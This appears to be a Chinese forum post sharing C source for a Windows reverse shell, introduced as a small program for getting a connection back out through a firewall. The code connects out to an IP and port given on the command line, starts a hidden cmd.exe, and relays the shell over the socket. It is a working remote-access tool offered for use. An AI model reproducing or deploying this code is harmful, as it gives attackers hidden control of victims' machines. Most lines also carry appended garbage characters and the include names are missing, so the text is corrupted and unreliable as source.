这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8 t+eu O
uHbg&eW
/* ============================== v>X!/if<y
Rebound port in Windows NT EEe$A?a;
By wind,2006/7 DYX{v`>f^
===============================*/ .ARYCTyG
#include y4\X~5kU
#include iSfRJ:_&6
S!K<kn`E3
#pragma comment(lib,"wsock32.lib") [8ZDMe
jaS<*_~#R
void OutputShell(); ammi4k/
SOCKET sClient; ~M~DH-aX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5SFr
E`
:s)cTq| 3
void main(int argc,char **argv) If'q8G3]-
{ 1UQ,V`y
WSADATA stWsaData; xU'z>y4V$
int nRet; 2H%9l@}u
SOCKADDR_IN stSaiClient,stSaiServer; 18$d-[hX
H3wJ5-q(
if(argc != 3) q@.>eB'92P
{ IIk_!VzT
printf("Useage:\n\rRebound DestIP DestPort\n"); jN6V`Wh_
return; \zd[A~!
} u%-]-:c
pl8b&bLzi
WSAStartup(MAKEWORD(2,2),&stWsaData); hs6pp/h>
M+"6VtZH
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hqRC:p#9
0kJ8H!~u
stSaiClient.sin_family = AF_INET; 4*_jGw
stSaiClient.sin_port = htons(0); Mo/R+\u+Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lpi"@3
_hnsH
I!oD
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P"c@V,.
{ `IN!#b+Eo
printf("Bind Socket Failed!\n"); hcVu`B n
return; k?=1q[RQH
} bH+NRNI]
Zo UeLU
stSaiServer.sin_family = AF_INET; B*/!s7 c.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wv~:^v'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @Y0ZW't
xMbgBx4+
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \?
/'
{ Whd >
printf("Connect Error!"); X5owAc6
return; w4fKh
} j"Jf|Hq $
OutputShell(); !7t&d
} bQD8#Ml1
zw#n85=
void OutputShell() =r]l"T
{ Dgz,Uad8f
char szBuff[1024]; nbxY'`8F
SECURITY_ATTRIBUTES stSecurityAttributes; ,ye}p1M
OSVERSIONINFO stOsversionInfo; 8T+9
fh]I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c5p,~z_Dtu
STARTUPINFO stStartupInfo; {@X>!]
char *szShell; j$T12
PROCESS_INFORMATION stProcessInformation; \Zf=A[
unsigned long lBytesRead; ByqVNz0L
QC'Ru'8S
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i]n2\v AG
(iKJ~bJ
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -!!]1\S*Y
stSecurityAttributes.lpSecurityDescriptor = 0; [4?r0vO
stSecurityAttributes.bInheritHandle = TRUE; ?I]AE&4'
^cZ< .d2
##mZ97>$
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RKLE@h7[?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KHx2$*E_
P'wo+Tn*
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5mamWPw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vom3C9o
stStartupInfo.wShowWindow = SW_HIDE; #ss/mvc3
stStartupInfo.hStdInput = hReadPipe; ?|,:;^2l1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H+*3e&
=`x }9|[
GetVersionEx(&stOsversionInfo); F'M X9P
4prJ!k
switch(stOsversionInfo.dwPlatformId) (uX?XX^
{ !h1:AW_iz
case 1: Bq$IBAot
szShell = "command.com"; [~Ky{:@)[
break; s[GHDQ;!
default: ]RAh['u|
szShell = "cmd.exe"; 1IoW}yT
break; pPa]@ z~O
} .B~}hjOZK
B*_K}5UO
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'goKYl#1Q
*=i&n>
send(sClient,szMsg,77,0); +yI$4MY
while(1) Muwlehuq
{ @Ommd{0M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); # fqrZ9:@
if(lBytesRead) 8XJi }YPQ
{ 1j<uFhi>
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J2}poNmm
send(sClient,szBuff,lBytesRead,0); kNK0KL
} =F|9ac9X
else j-d&4,a:c
{ o2dO\$'
lBytesRead=recv(sClient,szBuff,1024,0); 7;+G)44
if(lBytesRead<=0) break; Z,"4f*2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .Wt3|?\=nd
} %%ouf06.|
} (Yz[SK=U}
a4UwhbH
return; ='jT
5Mg
}